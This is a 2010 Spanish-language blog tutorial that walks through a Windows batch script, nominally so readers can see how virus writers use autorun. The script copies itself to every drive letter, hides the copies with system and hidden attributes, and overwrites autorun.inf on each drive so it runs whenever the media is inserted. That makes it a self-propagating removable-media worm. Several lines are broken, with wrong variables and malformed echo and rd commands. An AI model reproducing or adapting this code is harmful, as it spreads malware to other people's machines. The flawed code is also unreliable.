miércoles, 21 de abril de 2010

Antes que nada quiero agradecerles por leer estos tutoriales de la super poderosa shell de windows. En este tema vamos aprender a crear programas que se copien via autorun. Primeramente debemos saber que es un autorun. En wikepedia nos dice que autorun es la capacidad que tienen algunos sistemas de ejecutar una accion determinada al insertar un medio extraible como un cd,dvd,memoria flash,usb, etc,etc. Visto esto desde el punto de vista de los programadores de virus es una llave para ingresar o dañar nuestros equipos. Nuestra tarea en este tutorial no es enseñarle a crear virus, sino ver como los hacen los programadores,asi que presten mucha atencion.....Nuestro programa se va a llamar cheese o algo asi como queso o pongale el nombre que ustedes quieran, siempre y cuando no se les olvide.
Acuerdense del uso del comando REM, que no es mas para acordarnos algo en el codigo de nuestro programa, es decir no se va a ejecutar.
*********************************
Codigo del programa

@echo off
start
mode con cols=20 lines=1
start
rem esto es por si tenemos o nuestro amig@ tiene varios discos,es decir el programa va a buscar en los diferentes discos
set a=C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
set b=%random%
cls
start
rem lo siguiente es para quitarles los atributos por defectos que traen los discos o unidades de almacenamiento masivo me explico -r= restore, -s= system, -h= hidden,es decir restaurar sistema oculto o algo parecido.
attrib -r -s -h %0
rem aqui viene el modo de infeccion
for %%A in (%a) do (copy %O "%%A: \cheese%b%.bat")
rem ahora viene para que no se vea es decir en modo invisible
for %%A in (%a) do (attrib +r +s +h%%A: \cheese%b%.bat)
start
rem ahora viene la autoejecucion por autorun.inf
for %%A in (%a) do (attrib -r -s -h %%A:\autorun.inf)
start
for %%A in (%a) do (rd /f /q %%A:\autorun.inf)
start
for %%A in (%a) do (rd /s /q %%A:\autorun.inf)
for %%A in (%a) do (echo [AutoRun]> %%A:\autorun.inf)
for %%A in (%a) do (echo open =cheese%a%.bat>>%%A: \autorun.inf)
for %%A in (%a) do (echo shell \open= %A:\autorun.inf)
for %%A in (%a) do (echo shell\open\command=cheese%a%.bat)
for %%A in (%a) do (echo shell\explore\=>> %%A:\autorun.inf
attrib +r +s +h %O
start explorer
exit

Y eso es todo.Acuerdense de guardarlo con la extension .bat
En el proximo tutorial vamos a explicar un poco mas detallado de lo que es el autorun.Cualquier duda o pregunta hacernosla llegar,no se olviden de los comentarios.see ya!!!!!!!!

0 comentarios: